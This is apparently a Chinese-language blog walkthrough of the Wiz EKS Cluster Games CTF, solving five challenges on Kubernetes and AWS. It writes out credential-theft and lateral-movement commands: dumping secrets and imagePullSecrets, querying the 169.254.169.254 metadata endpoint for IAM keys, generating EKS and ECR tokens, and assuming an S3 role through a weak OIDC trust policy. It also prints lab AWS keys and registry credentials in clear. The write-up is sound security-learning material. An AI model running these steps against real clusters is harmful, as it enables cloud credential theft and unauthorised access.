最近在看WIZ的CTF挑战,做了一下还挺有意思,记录一下在做题时遇到的问题和知识点。
挑战链接:https://eksclustergames.com/challenge/
本次挑战需要的前置知识主要有
1 | 1.K8S运维命令,如kubectl describe/get |
建议先熟悉aws s3基础命令与kubectl 基础命令,然后进行挑战。
challenge1
题目描述
1 | Secret Seeker |
根据题目描述,这题应该是和k8s的secret相关。
在K8S中,secret用来保存小片敏感数据的k8s资源,例如密码,token,或者秘钥。我理解的secret是k8s中的一种资源类型
本题对当前用户secret资源的权限是get和list
1 | { |
那么就可以直接用kubectl去查看
使用命令kubectl get secret secret_name -o json查看secret的具体内容,使用describe命令看不到secret的具体内容,所以这里用get,使用**-o**指定输出格式为json
Flag1:wiz_eks_challenge{omg_over_privileged_secret_access}
challenge2
题目描述
1 | Registry Hunt |
当前用户对k8s资源的权限为
1 | { |
可以get secret,list get pod
先看一下secrets和pods里面有什么
secret没有list权限,看下hint,hint2是Reading about ImagePullSecrets might be useful ,提示找ImagePullSecrets。
经过搜索发现,ImagePullSecrets在image的配置中
1 | kubectl get pod database-pod-2c9b3a4e -o json |
现在已经拿到了ImagePullSecrets,hint1是Try obtaining the container registry credentials to pull container images and examine them for sensitive secrets.提示我们可能有机密文件藏在容器镜像里面,那么我们接下来需要做的就是获取容器镜像。
在我本机直接docker pull试试,提示没有权限
那么考虑这是一个私有的docker镜像仓库,需要login进去。
目前我们已经有imagePullSecrets,通过kubectl get secrets registry-pull-secrets-780bab1d -o json命令可以查看这个secrets
1 | kubectl get secrets registry-pull-secrets-780bab1d -o json |
解base64 可以看到docker登录信息
1 | {"auths": {"index.docker.io/v1/": {"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="}}} |
然后 docker login
到这里就是docker登录成功了,重复刚才pull的操作,可以看到pull是没问题的
然后查看一下image的历史记录
找到flag2 wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}
challenge3
题目描述
1 | Image Inquisition |
EKS 是 AWS 提供的托管 K8S 集群,Amazon Elastic Container Registry (ECR) 是一种完全托管的 Docker 容器注册表,开发人员可使用它轻松存储、管理和部署 Docker 容器镜像。
当前的权限只有get/list pods,先看一下pods里面有什么
kubectl get pods -o json
1 | "imageID": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01", |
当然,直接pull也不行。
题目给出了当前是在AWS的EKS中,我们的目的是从EKS横向到AWS中。
通过在EKS中访问169.254.169.254/latest/meta-data可以获取一些信息
通过访问169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole可以获取IAM相关的信息
1 | curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole |
到这儿就非常简单了,直接给了AK SK session key
在终端里面执行如下命令
1 | export AWS_SECRET_ACCESS_KEY=kDLFtTHNjzPec5X71YL3BzeUvDzWyJxPuws7qQjf |
执行之后可以env看一下有没有写入
执行命令aws sts get-caller-identity 查看当前权限(aws sts用于创建可控制对您的 Amazon 资源的访问的临时安全凭证,并将这些凭证提供给受信任用户,总而言之和身份认证相关)
我们的目的是登录docker pull image,由于已经接管了aws权限,所以可以接管ecr生成登录密码
aws ecr get-login-password –region us-west-1(这个region是我通过读取kubectl get pods -o json命令结果看到的)
这里面必须指定region,否则密码不对,后面登录不上
1 | eyJwYXl....M1fQ== |
接下来用这个密码登录docker就ok,这里使用crane登录
aws ecr get-login-password | crane auth login –username AWS –password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
查看image的config
crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
1 | {"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-... |
找到flag
wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future}
challenge4
题目描述
1 | Pod Break |
看题目描述有点像传统渗透中的提权,先看下permission。。竟然什么都没有
这就有点难办了,直接搜eks提权肯定搜不到东西
当前在aws中,使用eks看下
aws eks list-clusters 没有权限
看一下其他命令
aws eks get-token需要 cluster-name或者cluster-id,但是这两个都没有
目前需要找的是cluster-name或者cluster-id,题目hint The convention for the IAM role of a node follows the pattern: [cluster-name]-nodegroup-NodeInstanceRole.
这不巧了吗,aws sts get-caller-identity可以看到一串
arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282
那么就可以得到cluster-name就是eks-challenge-cluster,接下来就可以愉快的get-token
aws eks get-token –cluster-name eks-challenge-cluster
那么使用这个token就可以去操作kubectl
kubectl get secret node-flag -o json –token k8s-a
得到flag
d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30=
wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}
challenge5
题目描述
1 | Container Secrets Infrastructure |
根据题目描述,这题大概的考点是从EKS横向到AWS,最终读取S3 bucket中的flag
对于第一个IAM的配置,告诉了我们flag的位置
对于第二个 trust policy的配置,允许AssumeRoleWithWebIdentity操作的OIDC audience字段必须为sts.amazonaws.com
对于第三个权限配置,允许get/list secrets、sa、pods、以及创建sa的token
1 | service account(sa),顾名思义,主要是给service使用的一个账号。 |
先在kubectl看一下有什么sa
Kubectl create token s3access-sa 创建token没有权限,只能创建debug-sa的token
这题的考点在信任策略(TP)中,”在Kubernetes的TokenRequest API中,sub(subject)字段通常被用来表示令牌的主体,也就是令牌的所有者。这通常是一个服务账户。如果IAM信任策略没有对sub字段进行检查,那么任何能够生成有效OIDC令牌的服务账户都可以扮演这个IAM角色。”
那么我们可以生成一个debug-sa的token,指定audience为sts.amazonaws.com
kubectl create token debug-sa –audience sts.amazonaws.com
1 | eyJhb..LUoBbGdG5PIg2JumEx0I2V2GvIAHuIUM-IZ1dsYkVJSRfqR8JQCf-NQqJIEg |
使用这个token,通过sts调用AssumeRoleWithWebIdentity方法,可以获得一个临时的身份认证凭据
aws sts assume-role-with-web-identity –role-arn xxx –role-session-name foobar –web-identity-token eyJ…
其中,这个arn是s3access-sa的arn,通过命令 kubectl get sa s3access-sa -o json 获得:arn:aws:iam::688655246681:role/challengeEksS3Role
那么最终的命令就是
1 | aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name foobar --web-identity-token eyJhb..qJIEg |
ok,拿到三件套
1 | export AWS_SECRET_ACCESS_KEY=guhNvCvXpCFMAIBauigUeDcy06a2hNwM/CNliEWd |
根据第一个IAM policy给的地址challenge-flag-bucket-3ff1ae2,找到flag
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}
总结
考察点比较基础,重在掌握aws、k8s基本的运维与操作命令。
同时aws身份认证、策略也是容易出问题的点(misconfiguration),要学会审计策略。
参考
https://cloud.tencent.com/developer/article/2371571